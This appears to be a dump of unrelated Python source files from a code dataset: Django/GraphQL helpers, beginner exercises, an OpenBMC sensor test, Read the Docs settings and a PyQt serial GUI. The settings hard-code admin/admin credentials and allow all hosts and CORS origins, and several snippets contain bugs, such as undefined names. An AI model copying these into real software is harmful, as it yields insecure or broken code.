django_name\n # is used to access the field data in resolvers\n django_name = field.django_name or field_name\n model_field = get_model_field(django_type.model, django_name)\n field.django_name = resolve_model_field_name(\n model_field, django_type.is_input, django_type.is_filter\n )\n field.is_relation = model_field.is_relation\n\n # Use the Django field help_text if no other description is available.\n settings = django_settings()\n if not field.description and settings[\"FIELD_DESCRIPTION_FROM_HELP_TEXT\"]:\n model_field_help_text = getattr(model_field, \"help_text\", \"\")\n field.description = str(model_field_help_text) or None\n except django.core.exceptions.FieldDoesNotExist:\n if field.django_name or field.is_auto:\n raise # field should exist, reraise caught exception\n model_field = None\n\n if field.is_relation:\n # change relation field type to auto if field is inherited from another\n # type. for example if field is inherited from output type but we are\n # configuring field for input type\n if not utils.is_similar_django_type(django_type, field.origin_django_type):\n field.is_auto = True\n\n # Only set the type_annotation for auto fields if they don't have a base_resolver.\n # Since strawberry 0.139 the type_annotation has a higher priority than the\n # resolver's annotation, and that would force our automatic model resolution to be\n # used instead of the resolver's type annotation.\n if field.is_auto and not field.base_resolver:\n # resolve type of auto field\n field_type = resolve_model_field_type(model_field, django_type)\n field.type_annotation = StrawberryAnnotation(field_type)\n\n if field.type_annotation and is_optional(\n model_field, django_type.is_input, django_type.is_partial\n ):\n field.type_annotation.annotation = Optional[field.type_annotation.annotation]\n\n if django_type.is_input:\n if field.default is dataclasses.MISSING:\n # strawberry converts UNSET value to MISSING, let's set\n # it back to UNSET. this is important especially for partial\n # input types\n # TODO: could strawberry support UNSET default value?\n field.default_value = UNSET\n field.default = UNSET\n\n return field\n\n\ndef get_fields(django_type: \"StrawberryDjangoType\"):\n annotations = utils.get_annotations(django_type.origin)\n fields: Dict[str, StrawberryDjangoField] = {}\n seen_fields = set()\n\n # collect all annotated fields\n for field_name, field_annotation in annotations.items():\n with suppress(PrivateStrawberryFieldError):\n fields[field_name] = get_field(django_type, field_name, field_annotation)\n seen_fields.add(field_name)\n\n # collect non-annotated strawberry fields\n for field_name in dir(django_type.origin):\n if field_name in seen_fields:\n continue\n attr = getattr(django_type.origin, field_name)\n if not utils.is_strawberry_field(attr):\n continue\n field = get_field(django_type, field_name)\n fields[field_name] = field\n\n return list(fields.values())\n\n\n_O = TypeVar(\"_O\", bound=type)\n_M = TypeVar(\"_M\", bound=django.db.models.Model)\n\n\n@dataclasses.dataclass\nclass StrawberryDjangoType(Generic[_O, _M]):\n origin: _O\n model: Type[_M]\n is_input: bool\n is_partial: bool\n is_filter: bool\n filters: Any\n order: Any\n pagination: Any\n field_cls: Type[StrawberryDjangoField]\n\n\ndef process_type(\n cls,\n model: Type[django.db.models.Model],\n *,\n filters=UNSET,\n pagination=UNSET,\n order=UNSET,\n field_cls=UNSET,\n **kwargs,\n):\n original_annotations = cls.__dict__.get(\"__annotations__\", {})\n\n if not field_cls or field_cls is UNSET:\n field_cls = StrawberryDjangoField\n\n django_type = StrawberryDjangoType(\n origin=cls,\n model=model,\n is_input=kwargs.get(\"is_input\", False),\n is_partial=kwargs.pop(\"partial\", False),\n is_filter=kwargs.pop(\"is_filter\", False),\n filters=filters,\n order=order,\n pagination=pagination,\n field_cls=field_cls,\n )\n\n fields = get_fields(django_type)\n\n # update annotations and fields\n cls.__annotations__ = cls_annotations = {}\n for field in fields:\n annotation = None\n\n if field.type_annotation and field.type_annotation.annotation:\n annotation = field.type_annotation.annotation\n elif field.base_resolver and field.base_resolver.type_annotation:\n annotation = field.base_resolver.type_annotation.annotation\n\n # UNRESOLVED is not a valid annotation, it is just an indication that the type\n # could not be resolved. In this case just fallback to None\n if annotation is UNRESOLVED:\n annotation = None\n\n # TODO: should we raise an error if annotation is None here?\n\n cls_annotations[field.name] = annotation\n setattr(cls, field.name, field)\n\n # Strawberry >= 0.92.0 defines `is_type_of` for types implementing\n # interfaces if the attribute has not been set yet. It allows only\n # instances of `cls` to be returned, we should allow model instances\n # too.\n if not hasattr(cls, \"is_type_of\"):\n cls.is_type_of = lambda obj, _info: isinstance(obj, (cls, model))\n\n # Get type description from either kwargs, or the model's docstring\n settings = django_settings()\n description = kwargs.pop(\"description\", None)\n if not description and settings[\"TYPE_DESCRIPTION_FROM_MODEL_DOCSTRING\"]:\n description = cleandoc(model.__doc__) or None\n\n strawberry.type(cls, description=description, **kwargs)\n\n # restore original annotations for further use\n cls.__annotations__ = original_annotations\n cls._django_type = django_type\n\n return cls\n\n\ndef type(model, *, filters=UNSET, **kwargs):\n def wrapper(cls):\n return process_type(cls, model, filters=filters, **kwargs)\n\n return wrapper\n\n\ndef input(model, *, partial=False, **kwargs):\n return type(model, partial=partial, is_input=True, **kwargs)\n\n\ndef mutation(model, **kwargs):\n return type(model, **kwargs)\n","sub_path":"strawberry_django/type.py","file_name":"type.py","file_ext":"py","file_size_in_byte":8238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"321386468","text":"# 属性(Property)是通过__init__函数定义,并通过self传递给实例的一种数据类型。\n# 属性值的初始化\n# 在__init__里直接初始化值\nclass Box():\n def __init__(self):\n self.length = 0\n self.width = 0\n self.height = 0\nT1 = Box()\nprint(T1.length) # 0\n\n\n# 传递参数初始化\nclass Box2():\n def __init__(self,length1,width1,height1):\n self.length = length1\n self.width = width1\n self.height = height1\n\nT2 = Box2(12,13,15)\nprint(T2.length) # 12\n# 属性值的修改\n# 直接对属性值进行修改\nclass Box3():\n def __init__(self):\n self.length = 0\n self.width = 0\n self.height = 0\nT3 = Box3()\nprint(T3.length) # 0\nT3.length = 99\nprint('修改后的属性值%d'%(T3.length)) # 修改后的属性值99\n\n# 通过方法对属性值进行修改\nclass Box4():\n def __init__(self):\n self.length = 0\n self.width = 0\n self.height = 0\n def property_update(self,length1):\n self.length = length1\n\nT4 = Box4()\nT4.property_update(45)\nprint('通过方法赋值之后属性值%d'%(T4.length))\n# 通过方法赋值之后属性值45\n\n# 把类赋值给属性\nclass Color():\n def __init__(self,index=0):\n self.set_color = ['red','black','green','white']\n self.index = index\n def setColor(self):\n return self.set_color[self.index]\n\nclass Box5():\n def __init__(self,length2,width2,height2,cl=0):\n self.length = length2\n self.width = width2\n self.height = height2\n self.color = Color(cl).setColor()\n def volume(self):\n return self.length*self.width*self.height\n\nmy_Box5 = Box5(10,20,30,1)\nprint(my_Box5.color) # black\n\n \n","sub_path":"python_basis/07_Object_oriented_class/class_property.py","file_name":"class_property.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"59239938","text":"import os\nfrom os import PathLike\nimport sys\nimport xml.etree.ElementTree as ET\nfrom typing import List, Dict, Union\n\nfrom dere.corpus_io import CorpusIO\nfrom dere.corpus import Corpus, Instance, Span, Frame, Filler\nfrom dere.taskspec import TaskSpecification, SpanType\n\n\nclass CQSACorpusIO(CorpusIO):\n def load(self, path: str, load_gold: bool = True) -> Corpus:\n if os.path.isdir(path):\n paths: List[str] = []\n for dirpath, dirnames, filenames in os.walk(path):\n paths.extend(\n [\n os.path.join(dirpath, fn)\n for fn in filenames\n if fn.endswith(\".xml\")\n ]\n )\n else:\n paths = [path]\n path = \"/\".join(path.split(\"/\")[:-1])\n corpus = Corpus()\n for file_path in paths:\n self._populate_corpus_from_file(corpus, path, file_path, load_gold)\n return corpus\n\n def _populate_corpus_from_file(self, corpus: Corpus, root_path: str, path: str, load_gold: bool) -> None:\n relative_path = path[len(root_path):]\n while relative_path.startswith(\"/\"):\n relative_path = relative_path[1:]\n doc_id, _ = relative_path.rsplit(\".\", 1)\n tree = ET.parse(path)\n root = tree.getroot()\n # self._construct_instance(corpus, root, doc_id)\n\n for child in root.getchildren():\n if child.tag in [\"HEADING\", \"PARAGRAPH\"]:\n instance = self._construct_instance(corpus, child, doc_id, load_gold)\n\n def _construct_instance(\n self,\n corpus: Corpus,\n element: ET.Element,\n doc_id: str,\n load_gold: bool\n ) -> Instance:\n instance = corpus.new_instance(\"\", doc_id)\n ids: Dict[str, Filler] = {}\n self._populate_instance(element, instance, ids, load_gold)\n instance.text = instance.text.replace(\"\\n\", \" \")\n self._link_instance(element, instance, ids)\n return instance\n\n def _populate_instance(\n self, element: ET.Element, instance: Instance, ids: Dict[str, Filler], load_gold: bool\n ) -> None:\n if ids is None:\n ids = {}\n if element.text is not None:\n instance.text += element.text\n for child in element.getchildren():\n left = len(instance.text)\n self._populate_instance(child, instance, ids, load_gold)\n right = len(instance.text)\n span = None\n span_type = self._task_spec.span_type_lookup(child.tag)\n if load_gold and span_type is not None:\n span = instance.new_span(span_type, left, right, \"gold\")\n instance.spans.append(span)\n ids[child.attrib[\"id\"]] = span\n frame_type = self._task_spec.frame_type_lookup(child.tag)\n if load_gold and frame_type is not None:\n frame = instance.new_frame(frame_type, \"gold\")\n if span is not None:\n slot = frame.slot_lookup(frame_type.name)\n if slot is not None:\n slot.add(span)\n instance.frames.append(frame)\n ids[child.attrib[\"id\"]] = frame\n if child.tail is not None:\n instance.text += child.tail\n\n def _link_instance(\n self, element: ET.Element, instance: Instance, ids: Dict[str, Filler]\n ) -> None:\n for element in element.iter():\n if \"id\" in element.attrib and element.attrib[\"id\"] in ids:\n frame = ids[element.attrib[\"id\"]]\n if isinstance(frame, Frame):\n for attrib, value in element.attrib.items():\n slot = frame.slot_lookup(attrib)\n if slot is not None:\n if value in ids:\n filler = ids[value]\n slot.add(filler)\n","sub_path":"dere/corpus_io/cqsa_corpus_io.py","file_name":"cqsa_corpus_io.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"140112107","text":"# Combining conditions with AND instead of nested if statements\n# Combining operators allows you to handle complex rules in your code but you must test your code very carefully to avoid introducing errors\n# A student makes honour roll if their average grade is >= 85 and their lowest grade is not below 70\ngpa = float(input('What was your Grade Point Average? '))\n# lowest_grade = input('What was your lowest grade? ')\n# lowest_grade = float(lowest_grade)\nlowest_grade = float(input('What was your lowest grade? '))\n\nif gpa >= .85 and lowest_grade >= .70: # used the and statement here\n honour_roll = True\nelse:\n honour_roll = False\nif honour_roll:\n print('You made honour roll!!')\n","sub_path":"complex.py","file_name":"complex.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"369253845","text":"# write a program to create a student class and create a object to it\n# and call the method talk to display the student data.\n\nclass Student:\n def __init__(self,id,name,roll,course,college,fees):\n self.id=id\n self.name=name\n self.roll=roll # declaring instance variable\n self.course=course\n self.college=college\n self.fees=fees\n def talk(self):\n print(\"student ID :\",self.id)\n print(\"student name :\",self.name) # initializing the instance variable.\n print(\"student roll :\",self.roll)\n print(\"student course :\",self.course)\n print(\"student college :\",self.college)\n print(\"student fees :\",self.fees)\ns=Student(101,\"bhushan\",23,\"MCA\",\"K K Wagh college\",25500) # creating an object.\ns.talk()\n","sub_path":"student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"618360640","text":"# -*- coding: utf-8 -*-\n__author__ = 'fwj'\n\nfor i in range(100, 999):\n a = int(i / 100)\n b = int(i / 10 % 10)\n c = int(i % 10)\n #print(a, b, c)\n if i == (a * a * a + b * b * b + c * c * c):\n print(i)","sub_path":"test/test_13.py","file_name":"test_13.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"620288108","text":"#!/usr/bin/python3\n####################################################################################################\n\nimport re\nimport random\nimport time\nfrom lib.ui import UI\nfrom lib.script import Script\nfrom lib.cli.facebook.openbmc import OpenBMC\n\nclass OpenBMC_0070(Script):\n def __init__(self, dut, job_id=\"\", image_server = 'None'):\n headline = ['Monitoring All Sensors']\n purpose = [\n 'To verify all sensors can be accessed.', \n ' Using the \"sensors-util\" command on openBMC to get the current view for all sensors.', \n ' (ltc4151-i2c-7-6f is PS21 sensors, only for PSU21, need to insert the DC PSU into PS2)']\n\n self.__dut = dut[1]\n self.prompt = self.__dut.ssh_credentials[5]\n super().__init__(headline, purpose, script_path=__file__,job_id=job_id)\n # Start logging the script.\n super().beginLog()\n\n def run(self):\n \"\"\"\n Function Name: run\n Purpose: Executes the steps defined by this test case.\n \"\"\"\n\n # initialize serial, Telnet and TELNET UI with SystemMgmt APIs.\n self.__SSH = super().initUI(self.__dut.ssh_credentials, self.__dut.platform, OpenBMC)\n self.__fail_count = 0\n\n # Do not surround assignment operator = with spaces in paranthesised expressions.\n self.__SSH.send('sensor-util all \\r')\n self.__SSH.expect(self.prompt, timeout= 180)\n \n if self.__fail_count == 0:\n UI.log('PASS', 'BMC_0070 Monitoring All Sensors is passed.')\n else:\n UI.log('FAIL', 'BMC_0070 Monitoring All Sensors is failed.')\n\n def stop(self):\n # Terminate interfaces and restore settings.\n self.__SSH.close()\n # Stop logging the script.\n super().endLog()","sub_path":"Facebook/openbmc_0070.py","file_name":"openbmc_0070.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"129351887","text":"import unittest2\n\nfrom shuffled import Shuffled\n\n\nclass TestShuffled(unittest2.TestCase):\n def test_normal(self):\n for i in range(0, 1000, 100):\n with self.subTest(i=i):\n shuffled_range = Shuffled(i)\n self.assertEqual(sorted(list(shuffled_range)), list(range(i)))\n\n def test_seed(self):\n for seed in (b'', b'\\x00', b'\\x01'):\n with self.subTest(seed=seed):\n self.assertEqual(list(Shuffled(20, seed)), list(Shuffled(20, seed)))\n","sub_path":"tests/test_shuffled.py","file_name":"test_shuffled.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"109855994","text":"from readthedocs.settings.base import CommunityBaseSettings\n\nimport os\nenviron = os.environ\n\n\nclass CommunitySettings(CommunityBaseSettings):\n MIDDLEWARE_CLASSES = (\n 'readthedocs.core.middleware.ProxyMiddleware',\n 'readthedocs.core.middleware.FooterNoSessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.http.ConditionalGetMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'linaro_django_pagination.middleware.PaginationMiddleware',\n 'readthedocs.core.middleware.SubdomainMiddleware',\n 'readthedocs.core.middleware.SingleVersionMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n )\n USE_SUBDOMAIN = environ.get('USE_SUBDOMAIN', False)\n PRODUCTION_DOMAIN = environ.get('HOSTNAME', 'localhost')\n WEBSOCKET_HOST = environ.get('WEBSOCKET_HOST')\n SESSION_COOKIE_DOMAIN = environ.get('HOSTNAME', 'localhost')\n \n ALLOWED_HOSTS = ['*']\n SITE_ROOT = environ['ROOT']\n DEBUG = False\n \n STATIC_ROOT = os.path.join(environ['STATIC_ROOT'], 'static')\n MEDIA_ROOT = os.path.join(environ['STATIC_ROOT'], 'media')\n STATICFILES_DIRS = [\n os.path.join(SITE_ROOT, 'readthedocs', 'static'),\n ]\n\n STATIC_URL = '/static/'\n print('settings values')\n print(STATIC_ROOT)\n print(STATICFILES_DIRS)\n print(MEDIA_ROOT)\n\n ES_HOSTS = ['readthedocs-elasticsearch-client:9200']\n\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': environ['POSTGRES_DB'],\n 'USER': environ['POSTGRES_USER'],\n 'PASSWORD': environ['POSTGRES_PASSWORD'],\n 'HOST': environ.get('POSTGRES_HOST', 'readthedocs-postgresql'),\n 'PORT': environ.get('READTHEDOCS_POSTGRESQL_SERVICE_PORT', 5432),\n },\n }\n\n ALLOW_PRIVATE_REPOS = True\n REDIS_PORT = environ.get('READTHEDOCS_REDIS_SERVICE_PORT', '6379')\n BROKER_URL = 'redis://readthedocs-redis:' + REDIS_PORT + '/0'\n CELERY_ALWAYS_EAGER = False\n CELERY_ACCEPT_CONTENT = ['pickle', 'json', 'msgpack', 'yaml']\n CELERY_RESULT_BACKEND = 'redis://readthedocs-redis:' + REDIS_PORT + '/0'\n CORS_ORIGIN_REGEX_WHITELIST = ['^.+$']\n CORS_ALLOW_HEADERS = list(CommunityBaseSettings.CORS_ALLOW_HEADERS) + ['csrftoken']\n CSRF_COOKIE_SECURE = False\n CSRF_COOKIE_HTTPONLY = False\n \n #EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n \n SLUMBER_API_HOST = 'http://localhost:8080'\n SLUMBER_USERNAME = 'admin'\n SLUMBER_PASSWORD = 'admin'\n\n _ = gettext = lambda s: s\n\n LANGUAGES = (\n ('en', gettext('English')),\n )\n\n @property\n def LOGGING(self): # noqa\n logging = super(CommunityProdSettings, self).LOGGING\n logging['formatters']['default']['format'] = '[%(asctime)s] ' + self.LOG_FORMAT\n return logging\n \n LOG_FORMAT = '%(name)s:%(lineno)s[%(process)d]: %(levelname)s %(message)s'\n \n LOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'default': {\n 'format': LOG_FORMAT,\n 'datefmt': '%d/%b/%Y %H:%M:%S',\n },\n },\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'default'\n },\n },\n 'loggers': {\n 'readthedocs': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n 'django': {\n 'handlers':['console'],\n 'propagate': False,\n 'level':'DEBUG',\n },\n '': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n },\n }\n ALLOW_ADMIN = True\n\nCommunitySettings.load_settings(__name__)\n","sub_path":"config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"484806983","text":"\n\"\"\"\nFrequency of elements in an array\n\"\"\"\n\narr=[1,7,1,2,5,7,1,2]\nn=len(arr)\nvisited=[False]*n\n# print(visited)\nfor i in range(n):\n count = 1\n if visited[i]==True:\n continue\n for j in range(i+1,n):\n if arr[i]==arr[j]:\n count+=1\n visited[j]=True\n if(j==n-1):\n print(\"Frequency of element {} is {}\".format(arr[i],count))\n","sub_path":"Arrays/16_frequency of elements in an array.py","file_name":"16_frequency of elements in an array.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"238024730","text":"'''\nFor strings S and T, we say \"T divides S\" if and only if S = T + ... + T (T concatenated with itself 1 or \nore times)\n\nReturn the largest string X such that X divides str1 and X divides str2.\n\n \n\nExample 1:\n\nInput: str1 = \"ABCABC\", str2 = \"ABC\"\nOutput: \"ABC\"\nExample 2:\n\nInput: str1 = \"ABABAB\", str2 = \"ABAB\"\nOutput: \"AB\"\nExample 3:\n\nInput: str1 = \"LEET\", str2 = \"CODE\"\nOutput: \"\"\n \n\nNote:\n\n1 <= str1.length <= 1000\n1 <= str2.length <= 1000\nstr1[i] and str2[i] are English uppercase letters.\n'''\n\ndef gcd_of_strings(str1, str2):\n result = ''\n \n def gcd(a, b):\n length = len(b) / len(a)\n if int(length) != length:\n return False \n return a * length == b\n\n result = ''\n for i in range(1, len(str1) + 1):\n sub_sequence = str1[:i]\n if len(sub_sequence) > len(str2): \n return result\n if gcd(sub_sequence, a) and gcd(sub_sequence, b):\n result = sub_sequence\n\n return result \n","sub_path":"algorithms/strings/gcd_of_string.py","file_name":"gcd_of_string.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"4742476","text":"#!/usr/bin/python3\n\nimport sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\nfrom PyQt5.QtCore import QThread, pyqtSignal\nimport serial.tools.list_ports\nimport pyqtgraph as pg\nimport numpy as np\nimport serial\nimport datetime\nimport time\nfrom collections import deque\n\ndef getComPorts():\n tempPorts = []\n ports = serial.tools.list_ports.comports()\n for port in ports:\n tempPorts.append(str(port))\n return tempPorts\n\ndef isStringAnInt(s):\n try:\n int(s)\n return True\n except ValueError:\n return False\n\n# Serial Object\nser = None\nserialbaudrate = 115200\nserialtimeout = 1\nserval2torqueNm = (125.0/2048.0)*(4.44822/1.0)*(0.15) #(125lbs/2048points)*(4.44822N/1lbs)*(0.15m)\n\n# Global Data\nreferencesignalchannel = None\nmeasuredsignalchannel = None\ntopborder = None\nbottomborder = None\nmvctable = {'pf': None, 'df': None, 'dfpf': None}\npercentmvc = 0.3\nvolreflexflexion = None\nrefsignaltype = None\nrefsignalfreq = None\nserialvals = None\ndef getSerialResponse():\n global ser\n endtime = time.time() + 0.5\n serialstring = \"\"\n while (time.time() < endtime):\n newchar = ser.read().decode()\n serialstring += newchar\n if (newchar == '>'):\n break\n return serialstring.strip('<>')\n\n\nclass VolReflexTrialThread(QThread):\n supplyDaqReadings = pyqtSignal(float, float, float)\n printToVolReflexLabel = pyqtSignal(str)\n\n def __init__(self):\n QThread.__init__(self)\n\n def getMeasRefSignals(self):\n global measuredsignalchannel\n global referencesignalchannel\n global serialvals\n ser.write(b'<2>')\n serialstring = getSerialResponse()\n serialvals = serialstring.split(',')\n measuredval = int(serialvals[measuredsignalchannel])\n referenceval = int(serialvals[referencesignalchannel])\n return [referenceval, measuredval]\n\n def getMinMaxRefLevels(self):\n if (volreflexflexion == \"DF\"):\n maxreferenceval = percentmvc*mvctable['df']\n minreferenceval = 0\n elif (volreflexflexion == \"PF\"):\n maxreferenceval = 0\n minreferenceval = -(percentmvc*mvctable['pf'])\n elif (volreflexflexion == \"DFPF\"):\n maxreferenceval = percentmvc*mvctable['dfpf']\n minreferenceval = -maxreferenceval\n\n referencevalspan = maxreferenceval - minreferenceval\n return [minreferenceval, maxreferenceval, referencevalspan]\n\n def waitForNewZeroLevel(self):\n whatever = 0\n\n def standardRun(self):\n global topborder\n global bottomborder\n global refsignaltype\n global refsignalfreq\n global serialvals\n self.printToVolReflexLabel.emit(\"Rest Phase\")\n starttime = time.time()\n zeroduration = 5\n zerocount = 0\n zerolevel = 0\n endtime = starttime + zeroduration\n while (time.time() < endtime):\n [referenceval, measuredval] = self.getMeasRefSignals()\n zerocount = zerocount + 1\n zerolevel = zerolevel + (measuredval - zerolevel)/zerocount\n progressbarval = round(100*(time.time() - starttime)/zeroduration)\n self.supplyDaqReadings.emit(0, 0, progressbarval)\n\n zerolevel = int(zerolevel)\n measuredvalqueue = deque([0, 0, 0])\n [minreferenceval, maxreferenceval, referencevalspan] = self.getMinMaxRefLevels()\n starttime = time.time()\n if refsignaltype == 'sine':\n period = 1/refsignalfreq\n trialduration = 20*period + 5 #trial will last 20 periods plus a 5 second adjustment period\n else:\n trialduration = 60\n endtime = starttime + trialduration\n self.printToVolReflexLabel.emit(\"Match the Reference Line\")\n while (time.time() < endtime):\n [referenceval, measuredval] = self.getMeasRefSignals()\n measuredvalqueue.popleft()\n measuredvalqueue.append(serval2torqueNm*(measuredval - zerolevel))\n measuredval = np.mean(measuredvalqueue)\n referenceval = int(serialvals[referencesignalchannel])\n if (measuredval < bottomborder):\n measuredval = bottomborder\n elif (measuredval > topborder):\n measuredval = topborder\n\n if (refsignaltype in ['prbs']): #PRBS input\n if (referenceval > 2048): #high input\n referenceval = maxreferenceval\n else: #low input\n referenceval = minreferenceval\n elif (refsignaltype in ['sine']):\n referenceval = minreferenceval + (referenceval/4095)*referencevalspan # this assumes A/D measurements from the 12-bit DAQ\n\n\n progressbarval = round(100*(time.time() - starttime)/trialduration)\n self.supplyDaqReadings.emit(measuredval, referenceval, progressbarval)\n\n self.supplyDaqReadings.emit(0,0,0)\n self.printToVolReflexLabel.emit(\"Done\")\n ser.write(b'<1>')\n\n def stepRun(self):\n whatever = 0\n\n def run(self):\n global refsignaltype\n if refsignaltype in ['sine', 'prbs', 'other']:\n self.standardRun()\n elif refsignaltype in ['step']:\n self.stepRun()\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n\n # Class Data\n\n # Setting Data\n _patientnumber = None\n _comport = None\n _serialstatus = None\n\n # MVC Trial Data\n _mvctrialflexion = None\n _mvctrialfilename = None\n _mvcfiletoimport = None\n _mvctrialcounter = 0\n _mvctrialrepetition = 0\n _mvctimer = None\n\n # MVC import\n _mvcdffile = None\n _mvcpffile = None\n\n # Voluntary Reflex Trial data\n _volreflexankleposition = None\n _volreflexfilename = None\n _volreflexreferencesignal = None\n _volreflextrialnumber = None\n\n\n def __init__(self):\n super(MainWindow, self).__init__()\n ag = QDesktopWidget().availableGeometry()\n self.setGeometry(0, 0, 1366, 650)\n uic.loadUi('ResearchGui.ui', self)\n self.show()\n self.startSettingsTab()\n\n # Initialize Settings Tab Lists\n def refreshComPortList(self):\n self.list_comport.clear()\n ports = getComPorts()\n for port in ports:\n self.list_comport.addItem(port)\n\n def initReferenceSignalList(self):\n self.list_referencesignal.clear()\n for channel in range(0,8):\n self.list_referencesignal.addItem(\"Channel {}\".format(channel))\n\n def initMeasuredSignalList(self):\n self.list_measuredsignal.clear()\n for channel in range(0,8):\n self.list_measuredsignal.addItem(\"Channel {}\".format(channel))\n\n # Button functions\n def selectComPort(self):\n portobj = self.list_comport.selectedItems()\n for i in list(portobj):\n selectedport = str(i.text())\n selectedportparts = selectedport.split(\" \")\n self._comport = selectedportparts[0]\n self.lbl_comport.setText(self._comport)\n\n def selectReferenceSignalChannel(self):\n global referencesignalchannel\n channelobj = self.list_referencesignal.selectedItems()\n for i in list(channelobj):\n selectedchannel = str(i.text())\n selectedchannelparts = selectedchannel.split(\" \")\n referencesignalchannel = int(selectedchannelparts[1])\n self.lbl_referencesignal.setText(\"Channel {}\".format(referencesignalchannel))\n\n def selectMeasuredSignalChannel(self):\n global measuredsignalchannel\n channelobj = self.list_measuredsignal.selectedItems()\n for i in list(channelobj):\n selectedchannel = str(i.text())\n selectedchannelparts = selectedchannel.split(\" \")\n measuredsignalchannel = int(selectedchannelparts[1])\n self.lbl_measuredsignal.setText(\"Channel {}\".format(measuredsignalchannel))\n\n def setPatientNumber(self):\n tempStr = self.lineedit_patientnumber.text()\n self.lbl_patientnumbererror.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter)\n if (isStringAnInt(tempStr)):\n tempInt = int(tempStr)\n if (tempInt >= 0 and tempInt <= 99 ):\n self._patientnumber = tempInt\n self.lbl_patientnumber.setText(\"{}\".format(self._patientnumber))\n self.lbl_patientnumbererror.setText(\"\")\n self.completeMvcTrialFilename()\n self.completeVoluntaryReflexFilename()\n else:\n self._patientnumber = None\n self.lbl_patientnumber.setText(\"\")\n self.lbl_patientnumbererror.setText(\"Integer Must Be Between 0-99\")\n else:\n self._patientnumber = None\n self.lbl_patientnumber.setText(\"\")\n self.lbl_patientnumbererror.setText(\"Patient Number Must Be An Integer\")\n\n def resetSerial(self):\n global ser\n if (self._comport is None):\n self.lbl_serialstatus.setText(\"Select COM Port\")\n elif ((self._comport is not None) and (isinstance(ser, serial.Serial))):\n try:\n ser.close()\n ser = serial.Serial(port=self._comport, baudrate=serialbaudrate, timeout=serialtimeout)\n self.lbl_serialstatus.setText(\"Connected\")\n except serial.SerialException as e:\n self.lbl_serialstatus.setText(\"Error Connecting\")\n elif ((self._comport is not None) and (not isinstance(ser, serial.Serial))):\n try:\n ser = serial.Serial(port=self._comport, baudrate=serialbaudrate, timeout=serialtimeout)\n self.lbl_serialstatus.setText(\"Connected\")\n except serial.SerialException as e:\n self.lbl_serialstatus.setText(\"Error Connecting\")\n\n def setMvcTrialFlexion(self, btn_mvcflexion):\n tempStr = btn_mvcflexion.text()\n if ( tempStr == \"Plantarflexion\" ):\n self._mvctrialflexion = \"PF\"\n elif (tempStr == \"Dorsiflexion\" ):\n self._mvctrialflexion = \"DF\"\n self.completeMvcTrialFilename()\n\n def completeMvcTrialFilename(self):\n if (self._patientnumber is not None and self._mvctrialflexion is not None):\n self._mvctrialfilename = \"Patient{}_MVC_{}.txt\".format(self._patientnumber, self._mvctrialflexion)\n self.lbl_mvcmeasurementfilename.setText(self._mvctrialfilename)\n else:\n self._mvctrialfilename = None\n self.lbl_mvcmeasurementfilename.setText(\"Complete Settings\")\n\n\n def startMvcTrial(self):\n global ser\n # Exit routine if settings aren't complete\n if (self.lbl_mvcmeasurementfilename.text() == \"Complete Settings\"):\n self.lbl_mvctriallivenotes.setText(\"Complete Settings\")\n return\n\n # Check if serial is connected\n if ser is None:\n self.lbl_mvctriallivenotes.setText(\"Connect Serial Before Proceeding\")\n return\n elif isinstance(ser, serial.Serial):\n ser.flushInput()\n ser.write(b'<8>')\n serialstring = getSerialResponse()\n # Check if sd card is inserted\n if (serialstring == \"False\"):\n self.lbl_mvctriallivenotes.setText(\"Insert SD Card\")\n return\n elif (serialstring == \"\"):\n self.lbl_mvctriallivenotes.setText(\"No SD Card Response\")\n return\n else:\n self.lbl_mvctriallivenotes.setText(\"Something has gone very badly...\")\n return\n\n # Start Writing Process\n ser.write(b'<6,6,0>') # Insert Value into 6th channel of daq reading for post-process flag\n n = datetime.datetime.now()\n startStr = \"<0,{},{},{},{},{},{},{}>\".format(self._mvctrialfilename, n.year, n.month, n.day, n.hour, n.minute, n.second)\n bStartStr = str.encode(startStr)\n ser.write(bStartStr)\n 